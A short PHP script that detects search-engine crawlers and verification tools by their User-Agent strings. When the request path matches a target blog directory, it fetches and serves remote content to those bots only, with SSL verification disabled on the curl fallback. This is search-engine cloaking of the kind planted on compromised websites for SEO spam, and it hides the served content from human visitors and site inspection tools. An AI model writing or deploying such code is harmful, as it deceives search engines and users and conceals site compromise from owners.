<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$currentUrl = $_SERVER['REQUEST_URI'] ?? '/';

$botPattern = '/(bot|ahrefsbot|crawl|spider|slurp|fetch|google|scanner|check|analyzer|httpclient|http_request|headless|chrome-lighthouse|google-inspectiontool|google-site-verification|googlebot|adsbot-google)/i';

$targetDir = '/jonacandles.com/blog//';

if (preg_match($botPattern, $userAgent) && strpos($currentUrl, $targetDir) !== false) {
    
    $externalUrl = 'https://jonacandles.com/blog/';

    header('Content-Type: text/html; charset=UTF-8');

    $context = stream_context_create([
        "http" => [
            "header" => "User-Agent: " . $userAgent . "\r\n",
            "timeout" => 10
        ]
    ]);
    $content = @file_get_contents($externalUrl, false, $context);

    if ($content === false) {
        $ch = curl_init($externalUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    if ($content !== false && !empty($content)) {
        echo $content;
        exit();
    } else {
        return; 
    }
}